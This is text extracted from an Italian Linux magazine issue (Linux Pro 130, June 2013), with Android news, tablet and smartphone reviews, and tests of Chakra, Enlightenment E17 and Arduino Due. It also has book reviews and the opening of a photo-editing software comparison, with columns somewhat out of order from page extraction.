Musica, giochi e paroleGrandi rinnovamenti anche nella sezione multimediale con play Music All Access, un nuovo servizio di streaming musicale che permette il libero accesso a milioni di brani musicali attraverso gli smartphone Android o comunque via Web. Gli utenti potranno così crearsi una propria “stazione radio” personalizzata secondo le loro preferenze musicali e creare playlist personalizzate da condividere con gli amici. Al momento play Music All Access è disponibile in abbonamento solo negli uSA al prezzo di 9,99$ al mese, ma entro i prossimi mesi dovrebbe arrivare anche in Europa. Cambia anche play Books che ora permette di caricare nella vostra biblioteca non solo i libri che avete acquistato nello Store ma anche tutti quelli in formato epub o pDF che avete sul pC, con la possibilità di sincronizzare il punto in cui siete arrivati nella lettura tra più piattaforme.novità in vista anche per la sezione Giochi, grazie a Google play Game Services, un sistema di classifiche globali, con obiettivi e funzioni social, destinato a rendere più coinvolgente l’esperienza di gioco di Android e naturalmente a raggiungere e superare il Games Center

di Apple. Tra i primi titoli compatibili con il nuovo Google play Game Services ci sono Modern Combat 4: Zero Hour, Dungeon Hunter 4 e Asphalt 7.Google ha poi annunciato il rinnovamento di Maps che vedrà l’integrazione delle mappe vettoriali di Google Earth e un restyling completo delle mappe che saranno finalmente a pagina intera su tutte le piattaforme (ipad compreso). Alla fine però Google ha presentato una mezza novità anche nel settore hardware: il Galaxy S4 di Samsung avrà infatti una versione nexus che, pur mantenendo le stesse caratteristiche dell’originale, avrà la certezza di avere per primo i futuri aggiornamenti di Android. LXP

La nuova versione di PlayBooks consente di caricare fino a 1.000 libri personali e di leggerli e tenerli sincronizzati su più dispositivi

Tutti i contatti di Google sono potenziali partecipanti agli Hangouts e potranno condividere immagini e documenti in uno speciale album a disposizione dei partecipanti

“Google Hangouts permetterà di effettuare videochat di gruppo a un massimo di dieci persone”

LXP130_34-35_news android 35 06/06/13 01:47

Page 38: Linuxpro 130 Giugno 2013

36 LINUX PRO 130

L’angolo di Android SmartPad

Caratteristiche 6.5Prestazioni 7.5 Autonomia 7Qualità/prezzo 8.5

SmartPad Mobile 8.0

Via di mezzo tra un mini tablet da 7” e un maxi da 10”, lo SmartPad Mobile ha il suo asso nella manica nella presenza della connessione 3G e nel prezzo.

Il voto di Linux Pro

Giudizio

Produttore: MediacomWeb: www.mediacomeurope.itPrezzo: 209,00 €

7

Niente illuminatore

La fotocamera posteriore ha un sensore da due megapixel che va bene nella situazioni di luce perfetta ma che altrimenti sconta la mancanza di un fl ash.

Il tablet di maggior successo del 2012 è stato senza dubbio l’iPad Mini di Apple che ha conquistato

tutti, soprattutto per le sue dimensioni da 8 pollici, un’ottima via di mezzo tra il modello maxi da 10 pollici e quello mini da 7. Mediacom, presente ormai da diversi anni nel settore dei tablet con dispositivi di buona qualità proposti a un prezzo molto più competitivo dei modelli Apple, ha scommesso a sua volta su un modello da 8 pollici, lo SmartPad 8.0 Mobile con tanto di connessione 3G integrata e con in più la possibilità di funzionare come telefono. Lo abbiamo provato e ne siamo rimasti decisamente sorpresi, soprattutto considerando che si tratta di un dispositivo dal prezzo di poco superiore ai 200 euro. Ottima la struttura che è in alluminio e risulta decisamente resistente anche se sconta un peso di 450 grammi e richiede dei tasconi decisamente capienti per essere trasportata. Niente da dire dal punto di vista ergonomico, i pulsanti sono tutti sistemati al punto giusto, così come il bilanciamento dei pesi, e l’unica operazione decisamente poco comoda è quella di avvicinare il tablet all’orecchio per telefonare. Basta però utilizzare un auricolare (meglio se Bluetooth) per togliersi dall’imbarazzo, oltretutto la qualità audio e video è ottima

a installarlo nello Smartpad Mobile, ma il sistema è andato subito in tilt e siamo stati costretti a reinstallare tutto. A parte il Play Store, tutte le altre app di Google sono integrate nel sistema e le prestazioni sono più che buone. Abbiamo infatti installato il benchmark Quadrant Standard ottenendo un punteggio complessivo di 3.000 punti, superiore persino al risultato di uno smartphone di gamma alta come il Galaxy Nexus di Samsung. Purtroppo anche lo Smartpad Mobile ha i suoi punti deboli, noi per esempio siamo rimasti abbastanza delusi dalle due fotocamere, sia quella posteriore da 2 megapixel, che quella anteriore da 0,3 megapixel. Per quella posteriore il problema principale è la mancanza dell’illuminatore più che i pochi megapixel disponibili, mentre per quella anteriore le prestazioni scarse dipendono proprio da un sensore decisamente poco potente, soprattutto se pensate di utilizzarlo per le videochat con Skype. Anche il browser integrato è poco fl uido, soprattutto con lo zoom, ma qui è possibile risolvere il problema installando il browser Chrome. Il resto della dotazione non ha problemi, anzi, il GPS risulta assolutamente veloce nella

sia per chi ascolta sia per chi parla. Lo schermo è un LCD IPS di buona qualità, certo non dovete aspettarvi un modello “retina” in Full HD, ma tutto sommato i 1024x768 pixel dello SmartPad 8.0 Mobile sono più che suffi cienti per visualizzare anche i siti più complessi e i fi lm che vorrete archiviare sugli 8 GB di memoria (6 GB reali). Se poi lo spazio non dovesse bastare potrete sempre acquistare per pochi euro una schedina di memoria esterna microSD. Il sistema operativo Android è presente nella versione 4.1 Jelly Bean, la più recente attualmente disponibile, ed è praticamente quello originale Google. Peccato però che tra le app Google non sia presente quella del Play Store di Google, sostituita da uno Store alternativo che, per quanto ben realizzato, non può certo avere la disponibilità di app di quello originale. Avendo letto sul Web che era comunque possibile installare sui tablet Mediacom il fi le originale APK del Play Store, lo abbiamo recuperato in Rete e abbiamo provato

ricerca del fi x. Anche l’autonomia, pur non raggiungendo le 8 ore promesse è comunque buona. Dipende molto naturalmente dall’uso che si fa del 3G e delle altre connessioni wireless. Noi comunque non abbiamo mai avuto problemi ad arrivare alla fi ne della giornata, anche navigando a lungo e vedendo un intero fi lm scaricato da Dropbox. In defi nitiva si tratta di un dispositivo completo che non pretende di sostituire uno smartphone ma che risulta perfetto per chi fa e riceve poche telefonate e non vuole svenarsi nell’acquisto di due terminali. LXP

SmartPad Mobile 8.0Un tablet Android da 8 pollici ben costruito che si può usare come telefono, meglio se con il vivavoce o con l’auricolare Bluetooth

LXP130_36_Mediacom 36 10/06/13 16:05

Page 39: Linuxpro 130 Giugno 2013

LINUX PRO 130 37

Galaxy S4 L’angolo di Android

Caratteristiche 9Prestazioni 9 Autonomia 7Qualità/prezzo 7.5

Galaxy S4

Hardware e applicazioni di Galaxy S4 ben rappresentano lo stato dell’arte della tecnologia. Materiali e prezzo, invece, lasciano un po’ a desiderare.

Il voto di Linux Pro

Giudizio

Produttore: SamsungWeb: www.samsung.itPrezzo: 699,00 euro

8

Più sottile non si può

Samsung ha limato al massimo dimensioni e spessore del suo Galaxy S4 grazie alle plastiche ultraleggere e alla nuova tecnologia di costruzione del display Super Amoled Full HD.

In campo Android il telefono più atteso del 2013 è sicuramente il Galaxy S4 di Samsung. Dopo l’incredibile successo del

predecessore Galaxy S3, acquistato in meno di un anno da oltre 50 milioni di persone che lo hanno reso l’unico vero avversario di iPhone, il compito di Samsung non era certo dei più facili. Difatti gli ingegneri coreani non hanno assolutamente stravolto il modello precedente, al quale il Galaxy S4 assomiglia come una goccia d’acqua. Le somiglianze però si fermano all’aspetto, visto che basta accendere il telefono per capire che le differenze ci sono e sono ben visibili!Quello che colpisce immediatamente è lo schermo da 5 pollici che non solo è Full HD (1920x1080 pixel), ma è anche il più brillante e luminoso attualmente in circolazione. Secondo Samsung il Super Amoled Full HD del Galaxy S4 è fi no al 70% più luminoso di quello del Galaxy S3, pur utilizzando il 20% di energia in meno, ed effettivamente basta mettere a confronto i due terminali perché la differenza balzi subito all’occhio. Inoltre, mentre lo schermo diventa più grande, lo spessore si riduce a soli 7,5 millimetri e il peso scende a 130 grammi. Insomma un vero capolavoro di miniaturizzazione, dovuto in buona parte all’utilizzo di plastiche ultrasottili ma comunque molto resistenti. Certo, la struttura in alluminio di Htc One o quella con il doppio vetro di Nexus 4 sembra più

con il sistema Glonass, è in grado di collegarsi anche ai satelliti russi velocizzando così notevolmente il fi xing. Uno degli aspetti più interessanti del Galaxy S4 è costituito dalle app: S Health per controllare l’attività fi sica (con tanto di pedometro e sistema di controllo delle calorie), i comandi visivi come Schermo Intelligente per scorrere le pagine del browser o della rubrica semplicemente spostando lo sguardo verso l’alto o verso il basso e Pausa Intelligente, grazie alla quale un video va in pausa se la webcam anteriore rileva che non lo state guardando. Il vero problema di queste app, soprattutto di Schermo Intelligente, è che funzionano solamente con le app Samsung come il browser o la rubrica. Niente da fare invece con Gmail o con un documento in PDF o Word dove sarebbero sicuramente utili. Ci sono poi i comandi gestuali che risultano meno pratici rispetto a quelli fi sici sul display, oltretutto Galaxy S4 è uno dei pochi smartphone con il display sensibile non solo alle dita ma anche ai guanti! Sicuramente più interessante l’app Watch On che, insieme al sensore a raggi infrarossi, permette di trasformare il telefono in un telecomando per le TV. Il database di Watch On comprende centinaia di marche, anche quelle meno note, mentre la Guida TV è aggiornata con i canali

solida e colpisce esteticamente di più, ma alla fi ne quello che conta è la praticità d’uso e da questo punto di vista Galaxy S4 non ha rivali. Come in questo momento non ha rivali nemmeno il processore Snapdragon 600 da 1,9 GHz con 2 GB di memoria RAM e 16 GB di spazio espandibile attraverso schede microSD. Per capire a cosa corrispondano questi dati in termini di prestazioni abbiamo sottoposto il Galaxy S4 a due benchmark specifi ci come GeekBench 2 e Quadrant Standard che hanno fornito risultati più che doppi rispetto al predecessore (3.259 contro 1.343 punti). Non solo, ma Galaxy S4 è riuscito a superare come prestazioni anche il vero avversario del 2013, cioè HTC One che, pur avendo lo stesso processore Snapdragon 600 (nella versione da 1.700 MHz), ha ottenuto punteggi più bassi di quasi il 10%.Poi, naturalmente, ci sono i nove sensori con le app originali, e in qualche caso uniche, che Samsung ha voluto inserire nel suo nuovo modello di punta: oltre ai classici sensori per luminosità, prossimità, accelerometro e giroscopio, Galaxy S4 aggiunge infatti il sensore per il riconoscimento dei gesti, quello per la temperatura e l’umidità (meglio non tenere in mano il telefono per avere una misurazione corretta), il barometro, il sensore per il campo magnetico e quello a raggi infrarossi per comandare a distanza la TV. Oltre naturalmente al GPS che, essendo compatibile

dei principali canali del digitale terrestre e del satellite italiano. Infi ne non si può dimenticare la parte telefonica che comprende la tecnologia di quarta generazione LTE con cui è possibile navigare e scaricare dati fi no alla velocità teorica di 100 megabit al secondo, che però va a incidere pesantemente sui consumi. I quali, fortunatamente, tengono un’intera giornata grazie alla presenza della maxi batteria da 2.600 mAh, si tratta anche in questo caso di un record di capacità. LXP

Samsung Galaxy S4La quarta generazione di Samsung Galaxy è allo stesso tempo la più potente, la più grande e la più sottile della categoria

con il sistema Glonass, è in grado di collegarsi anche ai satelliti russi velocizzando così notevolmente il fi xing.

Samsung Galaxy S4

LXP130_37_Galaxy S4_Pensabene 37 06/06/13 01:48

Page 40: Linuxpro 130 Giugno 2013

È QUANDO TI SENTI PICCOLO CHE SAI DI ESSERE DIVENTATO GRANDE.

A volte gli uomini riescono a creare qualcosa più grande di loro. Qualcosa che prima non c’era. È questo che noi intendiamo per innovazioneed è in questo che noi crediamo.Una visione che ci ha fatto investire nel cambiamento tecnologico sempre e solo con l’obiettivo di migliorare il valore di ogni nostra singolaproduzione.È questo pensiero che ci ha fatto acquistare per primi in Italia impianti come la rotativa Heidelberg M600 B24. O che oggi, per primi in Europa,ci ha fatto introdurre 2 rotative da 32 pagine Roto-Offset Komori, 64 pagine-versione duplex, così da poter soddisfare ancora più puntualmenteogni necessità di stampa di bassa, media e alta tiratura. Se crediamo nell’importanza dell’innovazione, infatti, è perché pensiamo che non ci siano piccole cose di poca importanza.L’etichetta di una lattina di pomodori pelati, quella di un cibo per gatti o quella di un’acqua minerale, un catalogo o un quotidiano, un magazineo un volantone con le offerte della settimana del supermercato, tutto va pensato in grande. È come conseguenza di questa visione che i nostri prodotti sono arrivati in 10 paesi nel mondo, che il livello di fidelizzazione dei nostri clientiè al 90% o che il nostro fatturato si è triplicato. Perché la grandezza è qualcosa che si crea guardando verso l’alto. Mai dall’alto in basso.

207x285_PUB_AGB komori:205x285 27/09/10 13:58 Pagina 1

Page 41: Linuxpro 130 Giugno 2013

Test >>Chakra 2013.02La miglior distribuzione KDE in circolazione pag. 40

Enlightenment E17 L’elegante Window Manager è ora in versione stabile pag. 41

Arduino DueLa nuova scheda microcontrollore di Arduino pag. 42

In libreria∆ Programming Your Home ∆ Red Hat Enterprise Linux 6 Administration pag. 43

Confronto >>Il meglio per il ritocco fotografico su Linux pag. 44∆ AfterShot Pro ∆ GIMP ∆ Shotwell ∆ digiKam∆ Darktable∆ Fotoxx

Da non perdere >>Nove programmi da provare!∆ JOSM pag. 50∆ Quassel pag. 51∆ Gummi pag. 51∆ Onboard pag. 52∆ Pinta pag. 52∆ Gource pag. 53∆ Easystroke pag. 53∆ JVGS pag. 54∆ Blobby Volley 2 pag. 54

Enlightenment E17

Arduino Due

Pinta

RecensioniTutte le novità in campo software e hardware testate e valutate ogni mese dai nostri laboratori

LINUX PRO 130 39

QUESTO MESE...

Ogni test di questa sezione

è accompagnato da un giudizio

che riassume con quattro indici numerici

le principali qualità dell’applicazione

o del prodotto hardware messo alla prova.

I laboratori di Linux Pro assegnano

un voto da 1 a 10 alle seguenti categorie:

Caratteristiche: fornisce tutte

le funzioni di cui abbiamo bisogno?

È innovativo?

Prestazioni: esegue in maniera

efficiente le sue funzioni?

È veloce e affidabile?

Facilità d’uso: dispone di un’interfaccia

grafica chiara e facilmente fruibile?

La documentazione che lo accompagna

è sufficientemente completa ed esaustiva?

Qualità/prezzo: ha un prezzo

competitivo? Vale i soldi richiesti

per il suo acquisto?

Il nostro giudizio viene

poi riassunto da un voto finale,

espresso anche graficamente.

Ecco la legenda dei voti:

10 Nulla da eccepire. Un prodotto

praticamente perfetto.

8-9 Un buon prodotto. I pochi

difetti presenti non sono gravi.

6-7 Compie il suo lavoro ma

necessita di ulteriori sviluppi.

5-4 Deve migliorare prima di

raggiungere un voto sufficiente.

1-3 Un completo disastro.

Gli sviluppatori devono tornare

alla fase di progettazione.

Ricordiamo infine che i software citati

nelle sezioni Confronto e Da non

perdere sono spesso presenti nel DVD

sotto la voce “Rivista” sotto forma

di codice sorgente o binario.

Una breve legenda

LXP130_39_introRecens 39 06/06/13 14:26

Page 42: Linuxpro 130 Giugno 2013

40 LINUX PRO 130

Test Chakra 2013.02

Chakra 2013.02Abbiamo provato quella che appare la miglior distribuzione KDE in circolazione

Caratteristiche 8Prestazioni 10Facilità d’uso 8Documentazione 9

Chakra Linux 2013.02

Una distribuzione basata su KDE che vi offre un desktop rapido ed elegante. Imperdibile per gli utenti di KDE.

Il voto di Linux Pro

Giudizio

Sviluppatore: The Chakra ProjectWeb: www.chakra-project.orgLicenza: Varie licenze software Free

8.5Desktop KDE 4.10Chakra è sempre la prima distribuzione a offrire l’ultima versione di KDE.

In evidenza

Benvenuti!Kapudan è uno strumento super semplice per personalizzare gli elementi essenziali del desktop.

Chakra si presenta come una delle tante distribuzioni KDE. Certo, gli sviluppatori sono

riusciti a rendere il desktop KDE immediatamente gradevole ed elegante; ma questo basta davvero a compensare la mancanza di un sistema di gestione dei pacchetti grafi ci o il fatto che la distribuzione sia disponibile solo sotto forma di ISO per i 64 bit?Sorpresa… sì! Al di là dei due nei appena ricordati, è diffi cile trovare un qualunque difetto nella distribuzione. Si avvia quasi con la stessa velocità di Puppy Linux ma a differenza di quest’ultimo vi offre un desktop KDE con tutti i crismi.Oltre al più recente desktop KDE 4.10, comprende tutte le ultime app KDE, come il pacchetto Calligra Offi ce, il lettore audio Amarok, il lettore video Dragon, l’editor video Kdenlive, l’atlante virtuale Marble e altro ancora.Chakra è una distribuzione ‘GTK-free’ creata da zero che offre un ambiente ideale per far funzionare al meglio le applicazioni basate su Qt. In altre parole, come browser utilizza Rekonq invece di Firefox presente nella maggior parte delle distribuzioni.È facile, tuttavia, risolvere questo piccolo inconveniente. La distribuzione comprende

sistema con un singolo comando. Per il momento, Chakra usa il gestore di pacchetti pacman di Arch, mentre è in fase di lavorazione il suo gestore Akabei che comprenderà anche un front-end grafico.

A voi il comandoOltre all’uso di pacman, Chakra (nato come fork del progetto Arch Linux) ha conservato anche la filosofia del non prendere decisioni in nome dei suoi utenti. Perciò, pur non operando una scelta estrema come Arch (vi mette infatti a disposizione da subito un desktop completo), Chakra assiste l’utente nella personalizzazione dell’ambiente secondo i suoi gusti. Al primo avvio di Chakra dopo l’installazione, sarete accolti dalla sua app di personalizzazione, Kapudan. Si tratta di un fork migliorato dell’applicazione di benvenuto Kaptan inserita in Pardus Linux. Con Kapudan potete configurare tutti gli elementi più importanti del desktop KDE standard, più altro ancora. Per cominciare, potete creare cartelle speciali (Download, Video, Musica, Immagini, eccetera); modificare il comportamento del click del mouse; scegliere un tema

alcune delle applicazioni più usate sotto forma di pacchetti installabili con un semplice click tramite l’app personalizzata Bundle Manager.Oltre a Firefox, sono presenti pacchetti per il browser Web Chromium, GIMP, Inkscape, Thunderbird, Pidgin, Xchat e perfi no app proprietarie come Skype e Google Chrome. Se vi servono altre applicazioni dovrete ricorrere al gestore di pacchetti tramite riga di comando. Come dichiara la documentazione, Chakra è progettato per utenti che non hanno paura della riga di comando; benché sia possibile ottenere risultati decenti dagli strumenti grafi ci della distribuzione, per un’amministrazione effi ciente del sistema occorre fare visita alla riga di comando.Chakra è una distribuzione a rilascio ‘semi-continuo’, perciò benché gli aggiornamenti delle app diventino disponibili piuttosto rapidamente, il sistema base viene testato a fondo prima di essere pubblicato. Potete quindi aggiornare l’intero

e uno sfondo; personalizzare il numero dei desktop virtuali; perfino scegliere un diverso menu iniziale KDE. Potete, inoltre, configurare l’app di aggiornamento di Chakra, denominata spun, in modo che ricerchi automaticamente gli aggiornamenti, nonché personalizzare la sua modalità di notifica. Kapudan vi permette inoltre di attivare il firewall UFW incorporato, nonché lo scanner antivirus ClamAV. Chakra 2013.02 mantiene tutte le sue promesse. Se non siete intimiditi dalla riga di comando e volete un sistema KDE supersonico, ve lo consigliamo caldamente. LXP

In evidenza

L’ultima versione di Chakra presenta la versione più elegante e aggiornata di KDE disponibile fi no a questo momento

LXP130_40_rev_chakra 40 06/06/13 01:48

Page 43: Linuxpro 130 Giugno 2013

LINUX PRO 130 41

Enlightenment E17 Test

Enlightenment E17L’elegante Window Manager è finalmente disponibile in versione stabile

Eleganza 9Prestazioni 9Facilità d’uso 8Adattamento alle appl. 3

Enlightenment E17

Un Window Manager attraente… con un difetto imperdonabile.

Il voto di Linux Pro

Giudizio

Svil.: Enlightenment Dev TeamWeb: www.enlightenment.orgLicenza: Gratuito con licenza tipo BDS

7

AnimazioniLe animazioni che accompagnano l’apertura delle fi nestre e l’uso di menu e icone sono eleganti e funzionano anche su sistemi di potenza modesta.

In evidenza

GadgetPotete aggiungere dei gadget (quelli che in altri ambienti sono chiamati widget) al vostro desktop per integrare nello sfondo un ulteriore livello di informazioni.

Lo squilibrio stilistico con GTK fa perdere a Enlightenment la sua eleganza non appena si avviano i programmi che si usano di solito

Se seguite solo le distribuzioni più importanti, potreste benissimo

non aver mai sentito parlare di Enlightenment e men che meno della recente uscita della sua versione E17. Nessuno dei ‘top 10’ di DistroWatch dispone di una versione Enlightenment (benché la maggior parte di essi ne abbia una installabile nel repository). Mentre scriviamo, prima di incontrare una distribuzione En lightenment (Bodhi) occorre scendere fino al numero 14. Ciò non significa che Enlightenment sia in qualche modo impreparato o inadatto all’uso con le distribuzioni più importanti, benché l’ossessione del suo team per le versioni alfa e beta possa aver scoraggiato alcuni utenti. Questa specifica versione è stata in lavorazione per 12 anni prima di essere finalmente pubblicata in forma stabile. Naturalmente, le versioni provvisorie sono utilizzate da anni senza grossi problemi. Per prendere confidenza con il sistema, abbiamo provato E17 con Bodhi e su un’installazione di Ubuntu 12.04. La prima rappresenta un’introduzione

Tempo persoLa confi gurazione predefi nita dei menu non è il massimo dell’intuitività. Chi scrive usa i menu soprattutto per aprire le applicazioni; una funzione che non dovrebbe essere nascosta in un menu secondario. Ogni volta che volete avviare un’applicazione, perdete qualche secondo. Se ogni volta vi occorrono due secondi in più e in una giornata aprite un centinaio di applicazioni, in un anno perderete, traffi cando con i menu, 20 ore che potreste impiegare meglio in altro modo. La ragion d’essere di Enlightenment è la sua eleganza. Ed elegante lo è senza dubbio. Tuttavia, diversamente da GNOME, KDE e altri, Enlightenment è solo un Window Manager, non un ambiente desktop. Non possiede, quindi, applicazioni proprie. Potete usare le applicazioni di qualsiasi altro ambiente desktop: funzionano bene ma nessuna di loro appare

migliore al Window Manager per gli utenti più curiosi, offrendo diversi layout predefiniti da provare. La prima cosa che si nota all’avvio di E17 è che è esteticamente splendido. Non è una novità di questa release, bensì una caratteristica consolidata di Enlightenment. Gli effetti grafici, come le dissolvenze in entrata e in uscita dei menu, danno l’idea di un Window Manager più curato di altri. Per di più, sembrano funzionare bene anche su dispositivi attempati che faticano a sopportare altri ambienti desktop. Per quanto riguarda i widget, Enlightenment ne offre diversi (si chiamano gadget) che possono essere applicati al desktop. Prevedibilmente per Enlightenment, sono ben progettati e si integrano davvero bene con il resto dell’ambiente.

esteticamente al suo posto. È questo il difetto imperdonabile di Enlightenment. È splendido quando non c’è nulla sul desktop ma non appena aprite una fi nestra e iniziate a fare qualcosa, il pasticcio stilistico è evidente. Peccato, perché è bellissimo... fi nché non provate a usarlo per fare qualcosa. Per questo ci sentiamo di consigliarlo solo a chi desidera un desktop elegantissimo e non ha la capacità di crearselo in altro modo. LXP

In evidenza

LXP130_41_LXF168.rev_ben 41 06/06/13 01:48

Page 44: Linuxpro 130 Giugno 2013

42 LINUX PRO 130

Test Arduino Due

Arduino DueRiuscirà la nuova scheda microcontrollore di Arduino a portare la potenza dell’architettura ARM alle masse? Noi vi spieghiamo le sue peculiarità

Caratteristiche 9Prestazioni 9Facilità d’uso 9Qualità/prezzo 9

Arduino Due

Arduino Due è la nostra nuova scheda microcontrollore ARM preferita.

Il voto di Linux Pro

Giudizio

Sviluppatore: ArduinoWeb: www.arduino.ccLicenza: 39,00 €

9La Due è leggermente più grossa di Uno e molto più potente

Arduino si è fatto una reputazione come produttore di schede microcontrollore facili

da usare. Finora si era limitato ai processori AVR. Tuttavia, negli ultimi otto anni sono cambiate molte cose nel mondo del silicio e alcuni utenti stanno abbandonando la famiglia AVR passando ai più potenti chip ARM. Abbiamo messo le mani sulla prima scheda Arduino che utilizza questo tipo più potente di microcontrollore.Prima le cattive notizie. Diversamente dalle precedenti schede Arduino, la Due va a 3,3 Volt e non è compatibile con i 5 Volt. È quindi incompatibile con alcuni shield Arduino e potrebbe non funzionare con circuiti progettati per altre schede. Non solo: usandola come usereste una diversa scheda Arduino, rischiate di friggerla. Arduino Due non è quindi una scheda adatta ai principianti: è fatta per

chi ama Arduino e ha bisogno della potenza dei chip ARM.Non tutti i chip ARM sono uguali, però; e questo non è un pimpante SoC come quello della Raspberry Pi. Si tratta di un microcontrollore ARM, perciò dovete programmarlo con un tool, utilizzando l’IDE di Arduino da questo avviato.

dispositivi Android. Tutto ciò rappresenta chiaramente un grande passo avanti rispetto alle schede Arduino AVR; ma nei microcontrollori ciò che conta non è la potenza di elaborazione o il numero delle funzioni. In generale, il miglior microcontrollore per un dato compito è quello che fa esattamente ciò che vi serve e nient’altro.

Il livello successivoPer usare la Due, dovrete installare la versione 1.5 o successiva dell’IDE di Arduino. I repository della maggior parte delle distribuzioni sono fermi alla versione 1, perciò dovrete procurarvela manualmente. A noi è bastato decomprimere il file tar e avviare l’eseguibile (non è necessario ./configure && make && sudo make install). Le schede Uno e Mega sono tuttora le migliori per i principianti e difficilmente cesseranno di esserlo a breve. Le funzioni aggiuntive della Due non serviranno ai principianti praticamente per alcun progetto e la compatibilità e il

La potenza aggiuntiva dei chip ARM vi offre numerose nuove funzioni, ciascuna delle quali può risultare decisiva a seconda del progetto: ∆ maggiore potenza di elaborazione, grazie al Cortex M3 a 84 MHz;∆ due porte USB (una per la programmazione e una per gli usi normali) che facilitano di molto lo sviluppo per questo tipo di connessione;∆ uno scheduler che vi permette di svolgere operazioni simultanee;∆ due convertitori digitale-

analogico (DAC, a 12 bit) che vi permettono di controllare dispositivi analogici. Per esempio, potete ascoltare musica da una cassa collegata direttamente alla scheda;∆ è compatibile con l’ADK Android, perciò potete usarla per sviluppare periferiche per

supporto per le schede più vecchie valgono molto di più di qualche funzione superflua. Tuttavia, la Due ha reso diversi tipi di progetto molto più pratici ed economici (riducendo la necessità di componenti aggiuntivi). Noi siamo particolarmente entusiasti dei DAC e delle due porte USB; ma questa è solo la nostra opinione. I blog brulicheranno ben presto di Due utilizzate per ogni sorta di progetti grandi e piccoli. Se avete in mente un progetto ambizioso, la Due merita un posto sulla vostra lista della spesa. LXP

Porta USB nativa 12 pin PWM

Porta di programmazione USB

Header ICSP

ATSAM3X8E(ARM Cortex M3)

11 input analogici (12 bit)

Due DAC (12 bit)

Protocollo comunicazioni CAN (non ancora supportato dalle API)

Output/input digitalea 31 pin

Comunicazioni (10 pin)

Header SPI

“La potenza aggiuntiva del chip ARM offre numerose nuove funzioni”

LXP130_42_Arduino 42 06/06/13 01:49

Page 45: Linuxpro 130 Giugno 2013

LINUX PRO 130 43

In libreria Test

Programming Your HomeEcco come dare vita alla vostra casa in salsa Open Source

progetti citati prima, trovate capitoli dedicati a un sistema di notifi ca del livello dell’acqua, a un cane da guardia elettronico, all’automazione delle tende, a una serratura basata su Android e, infi ne, all’Eldorado dell’automazione della casa: un server di controllo a cui potete parlare. Dobbiamo dire che l’autore usa Mac OS X per alcuni dei progetti, comunque in questi casi indirizza il lettore verso soluzioni alternative basate su Linux o Windows che dovrebbero essere semplici da seguire. Il range di linguaggi usati (C, Java, Python e Ruby) può indurre confusione in chi non programma di solito, ma sono necessari dato il numero di piattaforme richieste per i vari progetti. Il lettore non deve essere un super esperto con nessuno di questi linguaggi,

Red Hat Enterprise Linux 6 Administration

Un pratico manuale per imparare ad amministrare un sistema RHEL.

Il voto di Linux Pro

Giudizio

Autore: Sander van VugtEditore: WileyISBN: 978-1-118-30129-6Pagine 624Prezzo: € 48

Programming Your Home

Forse il miglior testo per l’automazione della casa basato su progetti.

Il voto di Linux Pro

Giudizio

Autore: Mike RileyEditore: The Pragmatic BookshelfISBN: 978-1-93435-690-6Pagine: 210Prezzo: $ 33

9

Red Hat Enterprise Linux 6 AdministrationLinux Pro si allontana un po’ dai sistemi Debian per avvicinare RHEL

i dettagli più reconditi di SELinux o della virtualizzazione sarebbe meglio vi rivolgeste a un libro specifi co su questi argomenti. Vista la velocità con cui l’autore si muove da un argomento a un altro non possiamo raccomandare questo volume a chi si sta avvicinando da poco a GNU/Linux. Ma anche questo non è un problema, visto che diffi cilmente un principiante si deve occupare dell’amministrazione di sistemi RHEL. Forse il lettore target pensato dall’autore di Red Hat Enterprise Linux 6 Administration è una persona già pratica con la riga di comando e con Linux che voglia iniziare a capire come si amministra un sistema enterprise. Ci sono tantissimi esercizi che aiutano a comprendere meglio i concetti

comunque, sono suffi cienti dei rudimenti sui concetti relativi alla programmazione per capire quanto scritto. Molti non amano i libri sull’automazione della casa pensati “per progetti” che usano il computer, ma se non siete tra questi e l’argomento vi interessa non potete perdere questo libro.

Avete mai pensato di costruirvi una ciotola che emette un tweet quando gli uccellini

stanno mangiando? O una

L’inizio di questo libro dedicato all’amministrazione dei sistemi Red Hat appare

avere un approccio soft,

e vengono trattati tantissimi argomenti. Fare tutti i compiti porta via molto tempo, ma in cambio si acquisiscono degli skill non indifferenti. Con il mondo del lavoro in ambito Linux che si espande rapidamente, tutto ciò che imparerete potrebbe valere oro.

cassetta delle lettere che vi scrive una email quando arriva una lettera via posta lumaca? Che ne dite poi di un interruttore della luce che potete comandare dallo smartphone? Se la vostra

risposta è “Perché mai dovrei volere fare ciò? Posso semplicemente guardare fuori dalla fi nestra e usare le dita”, allora passate al prossimo libro – questo non è un testo che fa per voi. Se invece state pensando “Hei, grandioso! Sembra meraviglioso” allora avete trovato il libro perfetto per voi. Programming Your Home: Automate with Arduino, Android and Your Computer copre tutti gli argomenti che vi potete aspettare da un testo che ha questo titolo. Oltre ai tre

con un’introduzione a Linux, GNOME e Bash. Ma l’autore per questa parte introduttiva ha premuto sull’acceleratore: in 14 pagine ci spiega come si lavora sulla riga di comando e in quattro ci svela la Bash.

Anche il seguito del libro è sulla stessa falsa riga. Questa non è necessariamente una critica – tutti i libri sull’amministrazione di sistema dovrebbero coprire rapidamente un gran numero di argomenti oppure trattarne solo alcuni ma in modo approfondito. La materia è semplicemente troppo complessa per fornire una guida omnicomprensiva in un singolo volume. Questo libro è nella prima forma, e compie a dovere il suo lavoro.Comunque, se volete scoprire 8

LXP130_43_inlibreria 43 10/06/13 18:14

Page 46: Linuxpro 130 Giugno 2013

44 Linux pro 130

Ci sono ancora molti pregiudizi contro Linux tra i fotografi amatoriali e professionisti,

ma il tempo in cui il nostro sistema operativo preferito non veniva preso seriamente per la manipolazione delle immagini è un lontano ricordo. non è ancora presente software Adobe o Apple che possa girare su Linux (ma lo vorremmo davvero se ci fosse?), ma ci sono più che valide e mature

alternative per qualsiasi bisogno, dalle librerie per la gestione basilare delle immagini allo sviluppo dei file rAW.Al giorno d’oggi è possibile allestire interamente uno studio professionale senza l’aiuto

di Windows o Mac oS.Ci sono così tanti software, infatti, che averne scelti solo sei per questo confronto ci ha fatto prendere delle decisioni difficili. Cosa includere e cosa lasciare fuori?inevitabilmente ci sono dei mostri sacri da prendere in considerazione. GIMP, sebbene recensito fino alla nausea, non può non essere preso in considerazione quando ci troviamo a pensare a un programma di post-produzione completo. Allo stesso modo, probabilmente conoscerete più di quanto dovreste e vorreste riguardo a Shotwell (GnoME) e digiKam (KDE), ma c’è una ragione se li abbiamo inclusi: lasciarli fuori da questo confronto avrebbe voluto dire non considerare i programmi migliori.una controversia c’è stata, tuttavia, nel decidere

